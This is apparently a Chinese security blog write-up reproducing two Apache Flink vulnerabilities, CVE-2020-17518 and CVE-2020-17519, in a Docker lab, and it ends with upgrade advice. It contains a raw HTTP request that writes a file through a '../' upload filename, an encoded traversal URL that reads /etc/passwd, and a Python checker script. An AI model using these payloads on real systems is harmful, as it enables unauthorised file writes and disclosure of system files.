目录
影响范围
docker搭建漏洞环境
CVE-2020-17518漏洞复现
CVE-2020-17519漏洞复现
CVE-2020-17519 单个漏洞检测脚本
CVE-2020-17519 批量漏洞检测脚本
修复建议
Apache Flink 是一个分布式流批一体化的开源平台。Flink 的核心是一个提供数据分发、通信以及自动容错的流计算引擎。Flink 在流计算之上构建批处理,并且原生的支持迭代计算,内存管理以及程序优化。式的数据分析开源系统,结合了分布式 MapReduce 类平台的高效,灵活的编程和扩展性,具有强大的流处理和批处理功能。同时在并行数据库发现查询优化方案。
2021 年 1 月 5 日,Apache Flink 修复了由蚂蚁安全非攻实验室的安全研究员 0rich1 发现并报告两个高危漏洞 CVE-2020-17518 和 CVE-2020-17519。
REST API
,可以修改HTTP
头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1
进程能访问到的)两个漏洞都使用flink 1.11.2的版本进行复现
搭建flink 1.11.2版本的环境
用的ubuntu系统,编写docker-compose.yml文件,内容如下
version: '2'
services:
flink:
image: vulhub/flink:1.11.2
command: jobmanager
ports:
- "8081:8081"
- "6123:6123"
执行docker-compose up -d
访问8081
攻击者通过构造恶意的HTTP请求配合../实现目录穿越,可完成任意文件上传。
随意截取页面的数据包,替换为如下的请求包
POST /jars/upload HTTP/1.1
Host: 192.168.140.159:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
发送请求包,服务器响应400,则成功
进入到容器中查看
docker-compose exec flink bash
文件创建成功
POC:
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
poc.py内容如下
import argparse
import requests
global headers
headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
class Apache_Flink():
def url(self):
parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
args = parser.parse_args()
global target_url
target_url = args.target_url
print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
print("正在执行检测...")
print("目标地址:",target_url)
return target_url
def check(self):
poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
url = target_url + poc
try:
re = requests.get(url,headers=headers,timeout=4)
if re.status_code==200 and "root:x" in re.text:
print('漏洞存在')
else:
print('漏洞不存在')
except:
print('访问异常')
if __name__ == '__main__':
flink = Apache_Flink()
flink.url()
flink.check()
大佬的POC:https://github.com/search?q=Apache+Flink%E6%A3%80%E6%B5%8B
升级到1.11.3或1.12.0版本!